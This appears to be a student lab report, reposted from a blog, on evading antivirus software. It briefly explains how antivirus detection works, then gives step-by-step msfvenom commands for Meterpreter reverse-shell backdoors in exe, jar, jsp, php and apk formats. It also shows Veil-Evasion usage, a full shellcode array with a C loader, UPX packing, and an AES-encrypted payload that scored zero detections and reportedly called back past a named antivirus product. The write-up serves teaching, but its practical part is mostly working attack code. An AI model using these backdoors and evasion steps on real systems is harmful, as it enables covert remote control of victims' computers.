其他分享
首页 > 其他分享> > 网络对抗实验三 免杀原理与实践

网络对抗实验三 免杀原理与实践

作者:互联网

基础知识问答

(1)杀软是如何检测出恶意代码的?

​ 1.基于特征码检测

​ a.很多软件都会有各种特征码记成的特征库

​ b.恶意软件的一个或几个片断就可作为识别依据。

​ 2.也有启发式恶意软件的检测

​ a.宁杀错不放过

​ 3.基于行为的检测

(2)免杀是做什么?

​ 1.免杀就是通过某些手段对软件进行处理,让它不会被杀毒软件检测出来

(3)免杀的基本方法有哪些

​ 根据杀软检测恶意软件的手段,即大致技术

​ 1.改变特征码

​ a.加壳:压缩壳 加密壳

​ b.用encode进行编码

​ c.基于payload重新编译生成可执行文件

​ d.用其他语言进行重写再编译(veil-evasion)

​ 2.改变行为

​ a.尽量使用反弹式连接

​ b.使用隧道技术

​ c.加密通讯数据

​ d.基于内存操作

​ e.减少对系统的修改

​ f.加入混淆作用的正常功能代码

​ 3.非常规方法

​ a.使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

​ b.使用社工类攻击,诱骗目标关闭AV软件。

​ c.纯手工打造一个恶意软件

(4)开启杀软能绝对防止电脑中恶意代码吗?

​ 不能,由于恶意代码会经过重重伪装,使得自己的特征码很难被杀毒软件检测出来而清除掉,所以不可能是绝对的防止电脑中恶意代码。

实践内容

一、生成后门进行扫描

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
检测直接生成的后门exe文件(实验二中的后门程序)

我们可以看到检出率为53/69,从扫描结果可以看出,我们不加任何处理的后门程序大多数杀软都可以检测得到,因此我们用msf编码器对后门程序进行一次到多次的编码,查看编码后的检测效果。

生成一次编码的后门程序:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.199.239 LPORT=1215 -f exe > exp3.exe

我们可以看到还是可以被检测出52/69相较之前略有下降

生成十次编码的后门程序:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.199.239 LPORT=1215 -f exe > encoded10.exe

此时大多数杀毒软件还是可以将其检测出来

二、msfvenom生成如jar之类的其他文件

首先先生成jar文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=1215 x> 20191215jar.jar


我们看到检出率大大下降

生成jsp文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=1215 x> 20191215jsp.jsp

生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=1215 x> 20191215php.php

生成apk文件

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=1215 x> 20191215apk.apk

三、使用veil-evasion生成后门程序

首先进行下载操作:
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
sudo apt-get update
安装veil:使用sudo apt-get install veil进行veil的安装

参考相关帮助文档:https://cnlnn.github.io/html/Veil安装失败的解决方法.html 以及网上搜集资料解决许多问题后继续安装

终于是安装成功(太不容易了)

使用veil工具

veil
use evasion //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 192.168.199.239 //设置反弹链接ip,此处为Kali的ip
set LPORT 1215 //设置端口
generate

设置生成的文件(名称)

保存路径为/var/lib/veil/output/compiled/20191215veil.exe

导出之后进行检查

我们可以看到检出率还是很高

四、使用C+shellcode编程生成后门程序

使用如下指令生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=1215 -f c

创建20191215.c 将生成的shellcode添加到文件中

unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20\x50\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xc7\xef\x68\x02"
"\x00\x04\xbf\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";int main() { int (*func)() = (int(*)())buf; func(); }

使用i686-w64-mingw32-g++ 20191215.c -o 20191215.exe生成可执行文件

导出之后进行检测

还是能被很多杀毒软件检测出来的

五、加壳工具

使用命令upx 20191215.exe -o 20191215pro.exe对20191215.exe加壳

再进行检测

检出率还是很高

六、通过组合应用各种技术实现恶意代码免杀

这里借鉴同学的利用python+aes_encrypt

打开veil选择Evasion

输入list

use python/shellcode_inject/aes_encrypt.py

generate

选择2

选择自己的LHOST LPORT等生成文件

将生成的文件去检测此时检出率为0

七、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

电脑环境:win10主机
杀毒引擎:火绒
杀软版本:5.0.67.0
木马库版本时间:2022.4.6

输入

use exploit/multi/hander

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.199.2390

set LPORT 1215

exploit

这时候我们看到已经成功了,而且我的火绒也没有检测出来

实验体会

这次试验重点在于各种操作,操作性是这次实验的重点,我在安装veil的时候遇到了许多问题,光是安装这一步就耗费了将近一天的时间,,遇到了各种各样的问题,最后是查询了各种资料用了多种方法才成功的,也教会我遇到困难不要放弃,其次这个实验告诉我们针对电脑中的恶意代码,不能完全的信任自己电脑中的杀毒软件,有些恶意代码会层层伪装,跳过杀毒软件的侦察实现其目的,更多还是要从个人出发,从源头出发,保护好自己计算机的安全。

标签:x68,免杀,实践,xff,x8b,x01,x00,生成,对抗
来源: https://www.cnblogs.com/Werido-/p/16111218.html